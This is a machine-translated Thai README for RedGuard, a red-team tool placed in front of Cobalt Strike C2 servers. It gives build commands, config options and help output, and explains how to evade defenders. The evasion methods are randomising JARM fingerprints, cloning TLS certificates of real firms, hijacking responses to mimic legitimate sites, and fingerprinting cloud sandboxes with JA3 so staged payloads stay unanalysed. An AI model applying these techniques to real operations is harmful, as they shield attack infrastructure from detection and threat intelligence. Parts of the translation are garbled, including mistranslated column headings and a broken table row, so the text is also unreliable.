RedGuard
RedGuard 24.06.18
อังกฤษ | 中文档
RedGuard ซึ่งเป็นเครื่องมืออนุพันธ์ที่ใช้เทคโนโลยีการควบคุมการไหลส่วนหน้าแบบสั่งการและการควบคุม (C2) มีการออกแบบที่เบากว่า การโต้ตอบการรับส่งข้อมูลที่มีประสิทธิภาพ และความเข้ากันได้ที่เชื่อถือได้กับการพัฒนาในภาษาการเขียนโปรแกรมที่ใช้งานอยู่ ในขณะที่การโจมตีทางไซเบอร์มีการพัฒนาอย่างต่อเนื่อง ทีมสีแดงและสีน้ำเงิน แบบฝึกหัดมีความซับซ้อนมากขึ้นเรื่อยๆ RedGuard ได้รับการออกแบบมาเพื่อมอบโซลูชันการซ่อนแชนเนล C2 ที่ดีกว่าสำหรับทีมสีแดง ซึ่งให้การควบคุมโฟลว์สำหรับแชนเนล C2 บล็อกการรับส่งข้อมูลการวิเคราะห์ที่ "เป็นอันตราย" และทำภารกิจการโจมตีทั้งหมดให้เสร็จสิ้นได้ดีขึ้น
RedGuard เป็นเครื่องมือควบคุมการไหลด้านหน้าของ C2 ที่สามารถหลีกเลี่ยงการตรวจจับของทีม Blue, AVS, EDR, Cyberspace Search Engine
คุณสามารถดาวน์โหลดและใช้เวอร์ชันที่คอมไพล์ได้โดยตรง หรือคุณสามารถดาวน์โหลดแพ็คเกจ go จากระยะไกลเพื่อการคอมไพล์และดำเนินการอิสระ
git clone https://github.com/wikiZ/RedGuard.git
cd RedGuard
# You can also use upx to compress the compiled file size
go build -ldflags " -s -w " -trimpath
# Give the tool executable permission and perform initialization operations
chmod +x ./RedGuard && ./RedGuard
ดังแสดงในรูปด้านล่าง ตั้งค่าสิทธิ์ปฏิบัติการและเริ่มต้น RedGuard การดำเนินการครั้งแรกจะสร้างไฟล์การกำหนดค่าในโฮมไดเร็กทอรีของผู้ใช้ปัจจุบันเพื่อให้การกำหนดค่าฟังก์ชันมีความยืดหยุ่น ชื่อไฟล์การกำหนดค่า: .RedGuard_CobaltStrike.ini
เนื้อหาไฟล์การกำหนดค่า:
ตัวเลือกการกำหนดค่าของใบรับรองส่วนใหญ่จะใช้สำหรับข้อมูลการกำหนดค่าของใบรับรอง SSL ที่เข้ารหัสการสื่อสาร HTTPS ระหว่างตัวอย่างและโครงสร้างพื้นฐานด้านหน้า C2 พร็อกซีส่วนใหญ่จะใช้เพื่อกำหนดค่าตัวเลือกการควบคุมในการรับส่งข้อมูลพร็อกซีย้อนกลับ การใช้งานเฉพาะจะอธิบายรายละเอียดด้านล่าง
การสื่อสาร HTTPS ที่เข้ารหัสใบรับรอง SSL จะถูกสร้างขึ้นในไดเร็กทอรี cert-rsa/ ภายใต้ไดเร็กทอรีที่ RedGuard ถูกดำเนินการ คุณสามารถเริ่มและหยุดฟังก์ชันพื้นฐานของเครื่องมือได้โดยการแก้ไขไฟล์การกำหนดค่า (หมายเลขซีเรียลของใบรับรองจะถูกสร้างขึ้นตามเวลาประทับ ไม่ต้องกังวลว่าจะเชื่อมโยงกับคุณสมบัตินี้) หาก คุณต้องการใช้ใบรับรองของคุณเอง ,เพียงเปลี่ยนชื่อเป็น ca.crt และ ca.key
openssl x509 -in ca.crt -noout -text
ลายนิ้วมือ TLS JARM แบบสุ่มจะได้รับการอัปเดตทุกครั้งที่เริ่ม RedGuard เพื่อป้องกันไม่ให้มีการใช้การตรวจสอบสิทธิ์โครงสร้างพื้นฐาน C2
ในกรณีที่ใช้ใบรับรองของคุณเอง ให้แก้ไขพารามิเตอร์ HasCert ในไฟล์คอนฟิกูเรชันเป็น true เพื่อป้องกันปัญหาการสื่อสารปกติที่เกิดจากความไม่เข้ากันของชุดการเข้ารหัส CipherSuites กับใบรับรองแบบกำหนดเองที่เกิดจากการสุ่มแบบ obfuscation ของ JARM
# Whether to use the certificate you have applied for true/false
HasCert = falseเมื่อปรับใช้โดเมนส่วนหน้าเพื่อซ่อนการรับส่งข้อมูล C2 ชื่อโดเมนแบบเร่งจะไม่มีข้อมูลใบรับรอง HTTPS ตามค่าเริ่มต้น นี่เป็นปัญหาอย่างเห็นได้ชัด ดังนั้นคุณต้องใส่ใจกับการกำหนดค่าใบรับรองเมื่อกำหนดค่าชื่อโดเมน นี่เป็นพื้นฐานเริ่มต้นสำหรับการพิจารณาว่าตัวอย่างคือการรับส่งข้อมูลส่วนหน้าของโดเมนหรือไม่
[^Tencent Cloud]: การกำหนดค่าใบรับรองเครือข่ายการจัดส่งเนื้อหา
ฉันเชื่อว่าทุกคนจะมีคำถามหลังจากอ่านข้อความนี้ จะขอรับใบรับรองที่กำหนดค่าได้อย่างไร หากคุณใช้แอปพลิเคชันของคุณเองสำหรับใบรับรอง ก็จะไม่เป็นไปตามผลกระทบจากการไม่เปิดเผยตัวตนที่เราคาดหวัง คุณสามารถใช้ใบรับรองโคลนสำหรับการกำหนดค่าได้ที่นี่ เมื่อพิจารณาจาก Tencent Cloud เป็นตัวอย่าง พบว่าในการทดสอบจะไม่ตรวจสอบความถูกต้องของใบรับรองที่อัปโหลดแบบกำหนดเอง เราสามารถใช้ใบรับรองเดียวกันกับไซต์จริงของชื่อโดเมนแบบเร่งเพื่อปลอมแปลงได้ แม้ว่าใบรับรองปลอมแปลงจะไม่สามารถสื่อสารได้เมื่อแทนที่ใบรับรองเริ่มต้นของ CS ภายใต้สถานการณ์ปกติ แต่จะไม่ตรวจสอบความถูกต้องเมื่อใช้งานบนผู้ให้บริการคลาวด์ การเร่งความเร็วแบบเต็มไซต์ CDN และ RedGuard และการรับส่งข้อมูลแบบโต้ตอบ C2 สามารถสื่อสารได้ตามปกติ
ต่อไปนี้คือที่อยู่โปรเจ็กต์ที่มีอยู่ใน Github
https://github.com/virusdefender/copy-certแม้ว่าใบรับรองด้านการรับส่งข้อมูลส่วนหน้าของโดเมนตัวอย่างจะได้รับการแก้ไขแล้ว แต่จากมุมมองของการแมปเครือข่ายขนาดใหญ่ เซิร์ฟเวอร์ C2 ของเรายังคงถูกเปิดเผยต่อโลกภายนอก และอาจยังคงตรวจพบและเชื่อมโยงกับเซิร์ฟเวอร์ C2 จริง . ในเวลานี้ สามารถใช้ RedGuard เพื่อแก้ไขใบรับรองเริ่มต้นส่วนหน้าของ C2 เพื่อให้เกิดการไม่เปิดเผยตัวตน
[^ข้อมูลข่าวกรอง]: ใบรับรอง TLS
ข้างต้นเป็นผลจากใบรับรองปลอมแปลงของเซิร์ฟเวอร์ C2 จะเห็นได้ว่ามีความน่าเชื่อถือและไม่หมดอายุในหน่วยสืบราชการลับของชุมชน Threatbook วิธีหลักในการรับใบรับรองดิจิทัลคือการแยกและอัปเดตแบบเรียลไทม์ในระหว่างการวิเคราะห์ตัวอย่างในแซนด์บ็อกซ์บนคลาวด์ แต่เห็นได้ชัดว่าไม่ได้รับการตรวจสอบอย่างมีประสิทธิภาพ ค่าสถานะจะตรวจสอบเวลาหมดอายุเท่านั้น การตรวจสอบความน่าเชื่อถือของใบรับรองควรขึ้นอยู่กับว่าสามารถสื่อสารตามปกติได้หรือไม่
ควรสังเกตว่า Threatbook Intelligence ไม่ได้ทำเครื่องหมายที่อยู่ SNI และ HOST ของคำขอตัวอย่างด้วยความชาญฉลาดของใบรับรอง นี่เป็นการป้องกันผลบวกลวงจริงๆ ฉันคิดว่านี่ถูกต้อง ข้อมูลภัยคุกคามอัจฉริยะที่ไม่สมบูรณ์นั้นถือเป็นพื้นฐานสำคัญในการช่วยเหลือนักวิจัยในการวิเคราะห์ ดีกว่าชี้ไปในทิศทางที่ผิด ซึ่งจะทำให้เกิดการตัดสินที่ผิดพลาดในการวิเคราะห์ในภายหลัง หากการกำหนดค่าใบรับรองสำหรับการเร่งความเร็วแบบเต็มไซต์คือการปลอมแปลงใบรับรองสำหรับการรับส่งข้อมูลการสื่อสาร ดังนั้นการกำหนดค่าใบรับรองการตอบสนองล่วงหน้าของ RedGuard C2 คือการปลอมแปลงลักษณะการทำงานของเซิร์ฟเวอร์ C2 จริงที่ใช้งานบนเครือข่ายสาธารณะเพื่อให้ได้เอฟเฟกต์ป้องกันการแมป ซึ่ง มีความจำเป็นมาก
แยกหมายเลขซีเรียลของใบรับรอง: 55e6acaed1f8a430f9a938c5 และทำการเข้ารหัส HEX เพื่อรับลายนิ้วมือใบรับรอง TLS: 26585094245224241434632730821
| ไอพี | ท่าเรือ | โปรโตคอล | บริการ | ประเทศ | เมือง | ชื่อ | เวลา |
|---|---|---|---|---|---|---|---|
| 103.211.xx.90 | 443 | https | อาปาเช่ httpd | จีน | ซูโจว | 百度Image-发现多彩世界 | 28-08-2023 |
| 223.113.xx.207 | 443 | https | เจเอสพี3 | จีน | ซูโจว | 403 สิ่งต้องห้าม | 28-08-2023 |
| 223.112.xx.48 | 443 | https | เจเอสพี3 | จีน | ซูโจว | 403 สิ่งต้องห้าม | 28-08-2023 |
| 223.113.xx.40 | 443 | https | เจเอสพี3 | จีน | ซูโจว | 403 สิ่งต้องห้าม | 28-08-2023 |
| 223.113.xx.31 | 443 | https | เจเอสพี3 | จีน | 405 ไม่อนุญาต | 28-08-2023 | |
| 223.113.xx.206 | 443 | https | เจเอสพี3 | จีน | ซูโจว | 403 สิ่งต้องห้าม | 28-08-2023 |
จำนวนผลการค้นหา: 2291
ด้วยการทำแผนที่ไซเบอร์สเปซ ทำให้ค้นพบที่อยู่ IP อิสระ 2,291 รายการ และการยืนยันยืนยันว่าที่อยู่ทั้งหมดมีใบรับรอง TLS ที่เป็นของ Baidu เป็นการยากที่จะตัดสินว่าเป็นการสื่อสารที่เป็นอันตรายหรือไม่โดยพิจารณาจากการรับส่งข้อมูลการสื่อสารเพียงอย่างเดียว อย่างไรก็ตาม ใบรับรอง TLS สำหรับโดเมนฟรอนท์เอนด์ + สิ่งอำนวยความสะดวกการรับส่งข้อมูลฟรอนต์เอนด์ C2 ได้รับการปลอมแปลง ซึ่งรบกวนการทำแผนที่พื้นที่และข้อมูลภัยคุกคามได้สำเร็จ ทำให้เกิดการเชื่อมโยงข้อมูลที่ไม่ถูกต้อง ทำให้ลักษณะการรับส่งข้อมูลของผู้โจมตีมีความสมจริงมากขึ้น และบรรลุวัตถุประสงค์ของการปลอมแปลงตามปกติ การรับส่งข้อมูลการสื่อสาร
แม้ว่าจะไม่มีการประมวลผลการส่งต่อที่ซ่อนอยู่ก่อนสิ่งอำนวยความสะดวกฟรอนต์เอนด์การรับส่งข้อมูล C2 วิธีที่ดีที่สุดคือเปลี่ยนใบรับรองสำหรับ RedGuard ตามค่าเริ่มต้น ไลบรารีลายนิ้วมือใดๆ ที่เกิดขึ้นจากการระบุลายนิ้วมือของส่วนประกอบทั่วไปที่ใช้ในการทำแผนที่ไซเบอร์สเปซในปัจจุบันจะใช้ ลักษณะการทำงาน ของคุณลักษณะการกำหนดค่าเริ่มต้นของส่วนประกอบทั่วไปในการระบุตัวตน กลุ่มต่างๆ อาจแสดงคุณลักษณะเฉพาะที่แตกต่างกันในระหว่างกระบวนการปรับแต่งเหล่านี้ แน่นอนว่า การสร้างลายนิ้วมือจำเป็นต้องมีความเข้าใจในส่วนประกอบเป้าหมาย เพื่อที่จะแยกลักษณะเริ่มต้นของเป้าหมายและสร้างลายนิ้วมือที่เกี่ยวข้อง ในที่นี้ คุณลักษณะด้านพฤติกรรมของใบรับรอง RG ใช้สำหรับการแมปไซเบอร์สเปซ ซึ่งเชื่อมโยงกับโหนด RG จำนวนมากที่ใช้งานบนเครือข่ายสาธารณะ
ไม่น่าแปลกใจที่ผู้เขียนสามารถแยกลายนิ้วมือได้ แต่ก็ยังแนะนำให้ผู้ใช้ RedGuard แก้ไขข้อมูลใบรับรองเริ่มต้นและเป็นแฮ็กเกอร์มืออาชีพ :)
root@VM-4-13-ubuntu: ~ # ./RedGuard -h
Usage of ./RedGuard:
-DelHeader string
Customize the header to be deleted
-DropAction string
RedGuard interception action (default " redirect " )
-EdgeHost string
Set Edge Host Communication Domain (default " * " )
-EdgeTarget string
Set Edge Host Proxy Target (default " * " )
-FieldFinger string
Set HTTP Header identification field Info
-FieldName string
Set the name of the HTTP Header identification field
-HasCert string
Whether to use the certificate you have applied for (default " true " )
-allowIP string
Proxy Requests Allow IP (default " * " )
-allowLocation string
Proxy Requests Allow Location (default " * " )
-allowTime string
Proxy Requests Allow Time (default " * " )
-common string
Cert CommonName (default " *.aliyun.com " )
-config string
Set Config Path
-country string
Cert Country (default " CN " )
-dns string
Cert DNSName
-host string
Set Proxy HostTarget
-http string
Set Proxy HTTP Port (default " :80 " )
-https string
Set Proxy HTTPS Port (default " :443 " )
-ip string
IPLookUP IP
-locality string
Cert Locality (default " HangZhou " )
-location string
IPLookUP Location (default "风起" )
-malleable string
Set Proxy Requests Filter Malleable File (default " * " )
-organization string
Cert Organization (default " Alibaba (China) Technology Co., Ltd. " )
-redirect string
Proxy redirect URL (default " https://360.net " )
-type string
C2 Server Type (default " CobaltStrike " )
-u Enable configuration file modificationPS คุณสามารถใช้คำสั่งพารามิเตอร์เพื่อแก้ไขไฟล์กำหนดค่า แน่นอน ฉันคิดว่าการแก้ไขด้วยตนเองด้วย vim อาจจะสะดวกกว่า
หากคุณเข้าถึงพอร์ตของพร็อกซีย้อนกลับโดยตรง กฎการสกัดกั้นจะถูกทริกเกอร์ ที่นี่ คุณสามารถดูไดเร็กทอรีรากของคำขอไคลเอ็นต์ผ่านบันทึกเอาต์พุต แต่เนื่องจากคำขอไม่มีข้อมูลรับรองที่ร้องขอซึ่งเป็นส่วนหัวคำขอ HOST ที่ถูกต้อง กฎการสกัดกั้นพื้นฐานจึงถูกทริกเกอร์ และการรับส่งข้อมูลถูกเปลี่ยนเส้นทางไปที่ https:/ /360.เน็ต
นี่เป็นเพียงการสาธิตผลลัพธ์ การใช้งานจริงสามารถเรียกใช้ในพื้นหลังผ่าน nohup ./RedGuard &
{ " 360.net " : " http://127.0.0.1:8080 " , " 360.com " : " https://127.0.0.1:4433 " }จากภาพด้านบนจะเห็นได้ไม่ยากว่า 360.net พร็อกซีกับพอร์ตในเครื่อง 8080, 360.com พร็อกซีกับพอร์ตในเครื่อง 4433 และโปรโตคอล HTTP ที่ใช้ก็แตกต่างกันเช่นกัน ในการใช้งานจริงจำเป็นต้องคำนึงถึงประเภทโปรโตคอลของผู้ฟังด้วย สอดคล้องกับการตั้งค่าที่นี่ และตั้งค่าส่วนหัวคำขอ HOST ที่สอดคล้องกัน
ดังแสดงในรูปด้านบน ในกรณีที่มีการเข้าถึงโดยไม่ได้รับอนุญาต ข้อมูลการตอบสนองที่เราได้รับก็คือข้อมูลการส่งคืนของไซต์ที่ถูกเปลี่ยนเส้นทางด้วย
ในกรณีการสกัดกั้นพื้นฐานข้างต้น จะใช้วิธีการสกัดกั้นเริ่มต้น การรับส่งข้อมูลที่ผิดกฎหมายจะถูกสกัดกั้นโดยการเปลี่ยนเส้นทาง ด้วยการแก้ไขไฟล์การกำหนดค่า เราสามารถเปลี่ยนวิธีการสกัดกั้นและ URL ของไซต์ที่ถูกเปลี่ยนเส้นทางได้ ในความเป็นจริง แทนที่จะเรียกสิ่งนี้ว่าการเปลี่ยนเส้นทาง ฉันคิดว่ามันอาจจะเหมาะสมกว่าที่จะอธิบายว่าเป็นการไฮแจ็ค การโคลนนิ่ง เนื่องจากรหัสสถานะการตอบสนองที่ส่งคืนคือ 200 และการตอบกลับนั้นได้มาจากเว็บไซต์อื่นเพื่อเลียนแบบเว็บไซต์ที่ถูกโคลน/ถูกแย่งชิงเป็น อย่างใกล้ชิดที่สุด
แพ็กเก็ตที่ไม่ถูกต้องสามารถกำหนดเส้นทางไม่ถูกต้องตามสามกลยุทธ์:
# RedGuard interception action: redirect / rest / proxy (Hijack HTTP Response)
drop_action = proxy
# URL to redirect to
Redirect = https://360.net Redirect = URL ในไฟล์กำหนดค่าชี้ไปยังที่อยู่ URL ที่ถูกแย่งชิง RedGuard รองรับ "การเปลี่ยนแปลงด่วน" ซึ่งหมายความว่าในขณะที่เครื่องมือทำงานในพื้นหลังผ่าน nohup เรายังคงสามารถแก้ไขไฟล์การกำหนดค่าได้ เนื้อหาเริ่มต้นและหยุดแบบเรียลไทม์
./RedGuard -u --drop true โปรดทราบว่าเมื่อแก้ไขไฟล์การกำหนดค่าผ่านทางบรรทัดคำสั่ง จะต้องไม่พลาดตัวเลือก -u มิฉะนั้นจะไม่สามารถแก้ไขไฟล์การกำหนดค่าได้สำเร็จ หากคุณต้องการคืนค่าการตั้งค่าไฟล์การกำหนดค่าเริ่มต้น คุณจะต้องป้อน ./RedGuard -u เท่านั้น
วิธีการสกัดกั้นอีกวิธีหนึ่งคือ DROP ซึ่งปิดการตอบสนองการสื่อสาร HTTP โดยตรงและเปิดใช้งานโดยการตั้งค่า DROP = true ผลการสกัดกั้นเฉพาะมีดังนี้:
จะเห็นได้ว่าตัวควบคุมโฟลว์ด้านหน้า C2 ปิดการตอบสนองคำขอที่ผิดกฎหมายโดยตรงโดยไม่ต้องใช้รหัสตอบกลับ HTTP ในการตรวจจับการทำแผนที่ไซเบอร์สเปซ วิธี DROP สามารถซ่อนการเปิดพอร์ตได้ ผลกระทบเฉพาะสามารถเห็นได้ในกรณีต่อไปนี้ วิเคราะห์.
ฉันเชื่อว่าผู้ใช้จำนวนมากจะสนใจ การตอบสนองการแย่งชิง หลักการทั่วไปคือเมื่อไคลเอนต์เริ่มต้นคำขอไปยังเซิร์ฟเวอร์ C2 จริง เนื่องจากไม่เป็นไปตามกฎขาเข้า เซิร์ฟเวอร์ C2 จะได้รับไซต์ปกติที่ระบุและส่งคืนข้อมูลการตอบสนอง ดังนั้นจากการสิ้นสุดคำขอเอฟเฟกต์ ดูเหมือนว่ากำลังโต้ตอบกับบริการ IP แต่ในความเป็นจริงแล้ว เซิร์ฟเวอร์ C2 ระดับกลางถูกใช้เป็นพร็อกซีเซิร์ฟเวอร์เพื่อโต้ตอบกับไซต์ปกติ และเป็นการยากที่จะค้นหาความผิดปกติ หากเป็นไปตามคำขอขาเข้า คำขอการรับส่งข้อมูลจะถูกส่งต่อไปยังพอร์ตการฟังบริการ C2 จริงเพื่อการโต้ตอบ และพอร์ตการฟังจริงจะถูกกรองโดยไฟร์วอลล์คลาวด์ ซึ่งอนุญาตเฉพาะการเข้าถึงภายในเครื่องเท่านั้น และไม่สามารถเข้าถึงได้โดยตรงจากภายนอก . ดังนั้นจากมุมมองของการเปิดพอร์ตภายนอก มีเพียงพอร์ต HTTP/S เท่านั้นที่เปิดอยู่ และในแง่หนึ่ง นี่คือพอร์ตออนไลน์ของ C2 จริงๆ
[^แผนภาพการไหลของการรับส่งข้อมูล]: กระบวนการโต้ตอบการรับส่งข้อมูลเซิร์ฟเวอร์ C2
ในข้อมูลการแมปไซเบอร์สเปซ รหัสตอบกลับพอร์ตเปิด HTTP/S ของ IP คือ 200 ไม่ใช่การข้าม 307 ซึ่งมีความน่าเชื่อถือมากกว่า
ใบรับรอง HTTPS มีผลเช่นเดียวกับใบรับรองปลอมที่กล่าวถึงข้างต้น และทั้งสองรายการเป็นลายนิ้วมือของใบรับรองจริง
ฉันเชื่อว่าทีมสีแดงจำนวนมากจะใช้วิธีการปกปิดอย่างกว้างขวาง เช่น ฟังก์ชั่นคลาวด์/โดเมนบังหน้า ในกระบวนการต่อสู้กับโปรเจ็กต์ อย่างไรก็ตาม ในการเผชิญหน้าเชิงรุกและเชิงรับในปัจจุบัน วิธีการปกปิดสองวิธีข้างต้นมีปัญหาร้ายแรง กล่าวคือ สามารถเชื่อมต่อกับบริการ C2 ได้โดยตรง ผลลัพธ์ที่ได้คือไม่ต้องสงสัยเลยว่าเมื่อเราเข้าใจที่อยู่ฟังก์ชันคลาวด์หรือ IP/HOST แบบโต้ตอบของโดเมนฟรอนท์ เราสามารถเข้าถึงบริการการฟัง C2 ได้โดยตรง และพิสูจน์ได้ว่าเป็นสิ่งอำนวยความสะดวกในการโจมตี
เนื่องจากการรับส่งข้อมูลสามารถเข้าถึง C2 ได้โดยตรง จึงควรพิจารณาว่าอุปกรณ์รักษาความปลอดภัยสามารถทำการสแกน CS บนการรับส่งข้อมูลที่ไม่ตรงกับ SNI และ HOST เพื่อระบุว่าเป็นการรับส่งข้อมูลที่เป็นอันตรายหรือไม่ เช่นเดียวกับฟังก์ชันคลาวด์หรือสภาพแวดล้อมแซนด์บ็อกซ์ นอกจากฝั่งตัวอย่างแล้ว ยังมีกระบวนการวิเคราะห์ระดับการรับส่งข้อมูลเพิ่มเติมอีกด้วย
หลังจากการตอบกลับการไฮแจ็ก การเข้าถึงบริการ HTTP โดยตรงสามารถโต้ตอบกับเว็บไซต์ได้ตามปกติ แต่ Cscan ไม่สามารถสแกนข้อมูลตัวอย่างได้เนื่องจากการรับส่งข้อมูลไม่สามารถเข้าถึง Listener C2 จริงได้ การโต้ตอบ C2 ปกติจะเกิดขึ้นได้ก็ต่อเมื่อตรงตามลักษณะของการเริ่มต้นการรับส่งข้อมูลเท่านั้น อย่างไรก็ตามมีปัญหาเกิดขึ้น สคริปต์การสแกน C2 จำเป็นต้องปฏิบัติตามกฎขาเข้า ซึ่งมีการทดสอบความสามารถในการเขียนโค้ดของนักวิเคราะห์ทีมสีน้ำเงิน สคริปต์การสแกนสาธารณะในปัจจุบันอยู่ในรูปแบบของ Nmap
JA3 มอบลายนิ้วมือที่จดจำได้มากขึ้นสำหรับการสื่อสารที่เข้ารหัสระหว่างไคลเอนต์และเซิร์ฟเวอร์ ใช้ลายนิ้วมือ TLS เพื่อระบุการเจรจา TLS ระหว่างไคลเอนต์และเซิร์ฟเวอร์ที่เป็นอันตราย ดังนั้นจึงบรรลุผลของการเชื่อมโยงไคลเอนต์ที่เป็นอันตราย ลายนิ้วมือนี้สร้างได้ง่ายบนทุกแพลตฟอร์มที่ใช้การเข้ารหัส MD5 และในปัจจุบันมีการใช้กันอย่างแพร่หลายในด้านข่าวกรองภัยคุกคาม ตัวอย่างเช่น สามารถดูได้ในรายงานการวิเคราะห์ตัวอย่างของแซนด์บ็อกซ์บางกล่องเพื่อพิสูจน์ความสัมพันธ์ระหว่างตัวอย่างต่างๆ
หากเราสามารถควบคุม JA3(S) ของเซิร์ฟเวอร์ C2 และไคลเอนต์ที่เป็นอันตรายได้ แม้ว่าการรับส่งข้อมูลจะถูกเข้ารหัสและไม่ทราบที่อยู่ IP หรือชื่อโดเมนของเซิร์ฟเวอร์ C2 เรายังคงสามารถระบุการเจรจา TLS ระหว่างไคลเอนต์ที่เป็นอันตรายและ เซิร์ฟเวอร์ผ่านลายนิ้วมือ TLS ฉันเชื่อว่าทุกคนสามารถคิดเรื่องนี้ได้หลังจากที่ได้เห็นสิ่งนี้ ซึ่งเป็นมาตรการในการจัดการกับวิธีการปกปิดการส่งต่อการรับส่งข้อมูล เช่น การบังหน้าโดเมน พร็อกซีย้อนกลับ และฟังก์ชันคลาวด์ ผ่านการระบุตัวอย่างการดำเนินการแซนด์บ็อกซ์และการเจรจา TLS การสื่อสาร C2 และสร้างลายนิ้วมือ JA3(S) ซึ่งสามารถนำไปใช้กับข่าวกรองภัยคุกคามเพื่อให้บรรลุการติดตามเสริม
ฉันได้ประกาศเทคโนโลยีนี้ในปี 2022 เมื่อทดสอบสภาพแวดล้อมแซนด์บ็อกซ์แบบไมโครสเต็ป ฉันพบว่าแม้ว่าจำนวน IP ขาออกที่ร้องขอการโต้ตอบจะมีน้อย แต่การระบุแซนด์บ็อกซ์ด้วย IP นั้นไม่ถูกต้อง และนี่เป็นคุณสมบัติที่เปลี่ยนแปลงได้ง่าย แต่ลายนิ้วมือ JA3 นั้นมีเอกลักษณ์เฉพาะในสภาพแวดล้อมระบบเดียวกัน ต่อมา ฉันได้รับข้อเสนอแนะว่าแซนด์บ็อกซ์ทำการสุ่มลายนิ้วมือเสร็จสิ้นแล้ว แต่การทดสอบล่าสุดพบว่ายังไม่ได้นำไปใช้งานอย่างสมบูรณ์ ฉันยังหวังว่าจะประสบปัญหาลายนิ้วมือด้านการจราจร
จากมุมมองของแซนด์บ็อกซ์บนคลาวด์ ด้วยการตรวจสอบปฏิสัมพันธ์การรับส่งข้อมูลระหว่างตัวอย่างและเซิร์ฟเวอร์ C2 ลายนิ้วมือ JA3(S) จะถูกสร้างขึ้นเพื่อระบุไคลเอนต์ที่เป็นอันตรายและสร้างการเชื่อมโยง เมื่อคิดในทางกลับกัน ในฐานะสิ่งอำนวยความสะดวกควบคุมการจราจรที่อยู่ด้านหน้า C2 เรายังสามารถดำเนินการดังกล่าวเพื่อรับลายนิ้วมือ JA3 ของคำขอของลูกค้าได้ โดยการดีบักสภาพแวดล้อมแซนด์บ็อกซ์ที่แตกต่างกัน ลายนิ้วมือ JA3 เหล่านี้จะถูกได้มาเพื่อสร้างไลบรารีลายนิ้วมือ ดังนั้นจึงสร้างกลยุทธ์การสกัดกั้นขั้นพื้นฐาน
ลองนึกภาพว่าในกระบวนการโต้ตอบกับโทรจันตามขั้นตอน ตัวโหลดจะดึงเชลล์โค้ดของที่อยู่ระยะไกลก่อน จากนั้น เมื่อการรับส่งข้อมูลระบุว่าคำขอตรงตามคุณลักษณะแซนด์บ็อกซ์บนคลาวด์ของไลบรารีลายนิ้วมือ JA3 คำขอนั้นจะสกัดกั้นคำขอที่ตามมา หากไม่สามารถรับเชลล์โค้ดได้ กระบวนการโหลดทั้งหมดจะไม่สามารถเสร็จสิ้นได้ และแซนด์บ็อกซ์จะไม่สามารถวิเคราะห์ได้อย่างสมบูรณ์ตามธรรมชาติ หากสภาพแวดล้อมเป็นโทรจันที่ไม่มีขั้นตอน การวิเคราะห์แซนด์บ็อกซ์จะไม่สามารถอัปโหลดไปยังเซิร์ฟเวอร์ C2 ได้ในที่สุด ฉันเชื่อว่าทุกคนตื่นจากการหลับใหลแล้วและพบบันทึกแซนด์บ็อกซ์ที่ใช้เวลานานมากมายแขวนอยู่บน C2 แน่นอนว่าในสถานะที่เหมาะสมที่สุด เราสามารถระบุสภาพแวดล้อมแซนด์บ็อกซ์ที่แตกต่างกันได้ ซึ่งส่วนใหญ่ขึ้นอยู่กับความน่าเชื่อถือของไลบรารีลายนิ้วมือ
ในระหว่างการทดสอบ ฉันพบว่าหลังจากเพิ่มลายนิ้วมือ JA3 ของไลบรารีคำขอภาษา ZoomEye GO ลงในไลบรารีลายนิ้วมือและตรวจสอบการรับส่งข้อมูลคำขอ RG แล้ว คำขอส่วนใหญ่จะกระตุ้นให้เกิดการสกัดกั้นพื้นฐานของคุณสมบัติไลบรารีลายนิ้วมือ JA3 ที่นี่ฉันเดาว่าภาษาพื้นฐานของผลิตภัณฑ์การสำรวจและการทำแผนที่เป็นส่วนหนึ่งของงานสแกนที่ใช้ในภาษา GO ผ่านลิงก์ ตรรกะการสแกนที่ประกอบด้วยภาษาพื้นฐานที่แตกต่างกันในที่สุดก็เสร็จสิ้นภารกิจการสแกนทั้งหมด นอกจากนี้ยังอธิบายด้วยว่าเหตุใดการสแกนผลิตภัณฑ์การสำรวจและการทำแผนที่บางอย่างจึงทริกเกอร์คุณลักษณะการสกัดกั้นลายนิ้วมือ JA3 ของไลบรารีคำขอภาษา GO หลักการของกฎการรู้จำนั้นเหมือนกับหลักการของลายนิ้วมือแซนด์บ็อกซ์บนคลาวด์ ทั้งสองใช้เอกลักษณ์ของสภาพแวดล้อมไคลเอ็นต์คำขอและไลบรารีคำขอ แตกต่างจากฝั่งพีซี สภาพแวดล้อมคำขอของผลิตภัณฑ์เหล่านี้โดยพื้นฐานแล้วจะไม่เปลี่ยนแปลงตามต้องการ ซึ่งช่วยให้เราสามารถจับลายนิ้วมือฝั่งจราจรและสกัดกั้นได้ ดังนั้นเราจึงลองคิดดูว่าอุปกรณ์รักษาความปลอดภัยจะสามารถใช้ลายนิ้วมือ JA3 ของการตรวจจับที่ใช้งานอยู่ได้หรือไม่ การจราจรเป็นพื้นฐานในการสกัดกั้น? แน่นอนว่าเมื่อมีปริมาณการใช้งานทางธุรกิจเป็นจำนวนมาก อาจมีการแจ้งเตือนที่ผิดพลาดเกิดขึ้นได้ ที่นี่เราเสนอเฉพาะข้อกำหนดผลิตภัณฑ์ที่เป็นไปได้ตามทฤษฎีเท่านั้น
ผู้ใช้ PS ยังสามารถอัปโหลดตัวอย่างไปยังแซนด์บ็อกซ์เพื่อรับและตรวจสอบลายนิ้วมือ JA3 และเพิ่มลงในไลบรารีลายนิ้วมือได้ ควรสังเกตว่ามันไม่มีความหมายหากแซนด์บ็อกซ์เปลี่ยนเฉพาะลายนิ้วมือ JA3 ไม่ใช่ลายนิ้วมือข้างต้น สิ่งที่ต้องแก้ไขจริงๆ คือในแต่ละครั้งที่แซนด์บ็อกซ์ทำการวิเคราะห์แบบไดนามิก แซนด์บ็อกซ์จะไม่เหมือนกัน และการเปลี่ยนแปลงจะต้องเป็นไปตามข้อกำหนดที่จะไม่ทำซ้ำให้มากที่สุด หากอัตราการทำซ้ำสูงจะยังคงใช้เป็นลายนิ้วมือ
ปัจจุบันสนับสนุนการระบุและการสกัดกั้น Sandbox บนคลาวด์ของ Threatbook เป็นการสาธิตเอฟเฟกต์
การกำหนดค่าของพารามิเตอร์สองตัวต่อไปนี้ในไฟล์การกำหนดค่าจะตระหนักถึงผลกระทบของการเปลี่ยนพอร์ตพร็อกซีย้อนกลับ ขอแนะนำให้ใช้การซ่อนพอร์ตเริ่มต้นตราบใดที่ไม่ขัดแย้งกับพอร์ตเซิร์ฟเวอร์ปัจจุบัน หากจำเป็นต้องแก้ไข ให้ใส่ใจกับ : ของค่าพารามิเตอร์เพื่อไม่ให้หายไป
# HTTPS Reverse proxy port
Port_HTTPS = :443
# HTTP Reverse proxy port
